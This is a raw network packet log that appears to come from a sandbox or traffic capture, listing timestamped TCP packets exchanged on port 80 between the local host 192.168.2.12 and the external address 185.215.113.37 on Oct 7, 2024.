Oct 7, 2024 18:03:23.699266911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.699276924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.699280024 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.699286938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.699297905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.699309111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.699320078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.699320078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.699426889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.779027939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.779134989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.779278994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.780071974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.819430113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.819472075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.819489956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.819523096 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.819523096 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.819621086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.819638014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.819654942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.819672108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.819677114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.819677114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.819689989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.819736004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.819736004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.819924116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.819937944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.819986105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.819986105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820028067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820044041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820061922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820084095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820084095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820219994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820235968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820251942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820254087 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820254087 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820270061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820286036 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820286036 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820286989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820331097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820332050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820519924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820535898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820552111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820583105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820583105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820590019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820606947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820622921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820640087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820643902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820643902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820657015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820673943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820688963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820694923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820694923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820705891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.820729017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.820874929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.821320057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821332932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821374893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821382999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.821384907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821396112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821408033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821418047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821434021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.821434021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.821542025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.821610928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821621895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821630955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821640968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821650982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821660042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821670055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.821670055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.821691990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821702003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821721077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.821722984 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.821752071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.821752071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.822029114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822040081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822066069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.822066069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.822151899 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.822247982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822257996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822268963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822278976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822288990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822299004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822309017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822312117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.822312117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.822319984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822333097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822343111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822352886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822356939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.822356939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.822364092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822375059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.822407007 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.822407007 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823124886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823137045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823177099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823211908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823223114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823252916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823252916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823266029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823276997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823286057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823298931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823304892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823304892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823339939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823592901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823611975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823622942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823628902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823633909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823645115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823656082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823658943 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823658943 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823667049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823678017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823688030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.823702097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823702097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.823844910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.824218988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.824230909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.824239969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.824250937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.824282885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.824282885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.863491058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.863821030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.864272118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.864698887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.874773026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.874799013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.874809980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.874821901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.874862909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.874862909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.875072002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.875159979 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.944509029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.944559097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.944571018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.944693089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.944693089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.944700956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.944713116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.944725990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.944736958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.944755077 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.944772959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.944788933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945194960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945207119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945218086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945229053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945240021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945250034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945257902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945257902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945261002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945271015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945281029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945292950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945307016 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945307016 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945324898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945369005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945569038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945619106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945714951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945725918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945735931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945745945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945755959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945765972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945772886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945772886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945775986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945787907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945797920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945806026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945807934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945823908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945836067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.945841074 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945841074 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945893049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.945893049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.946551085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946563005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946573019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946583033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946593046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946600914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.946604013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946616888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.946619987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946633101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946643114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946652889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946660042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.946660042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.946664095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946675062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946685076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946695089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946701050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946706057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946711063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946715117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946719885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.946722031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.946722031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.946727991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947217941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.947307110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947319984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947331905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947374105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.947374105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.947505951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947516918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947530031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947561979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947566986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.947566986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.947572947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947586060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947597027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947607040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947618008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947633028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.947633028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.947730064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.947856903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947866917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.947910070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.948219061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.999454021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.999468088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.999479055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.999550104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.999550104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.068824053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.068845034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.068860054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.068871021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.068883896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.068881989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.068897963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.068912029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.068938017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.068938017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.069088936 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.069375038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.069422960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.069538116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.069549084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.069561958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.069575071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.069586039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.069598913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.069611073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.069611073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.069947004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.069998980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070013046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070024014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070035934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070046902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070059061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070064068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070064068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070074081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070086956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070096970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070096970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070099115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070112944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070123911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070132017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070138931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070172071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070172071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070511103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070523977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070535898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070547104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070561886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070585966 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070585966 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070768118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070780993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070791960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070806026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070820093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070820093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070940018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.070983887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.070996046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071005106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071014881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071034908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.071034908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.071050882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071063042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071067095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.071074963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071084976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071096897 CEST	80	49711	185.215.113.37	192.168.2.12
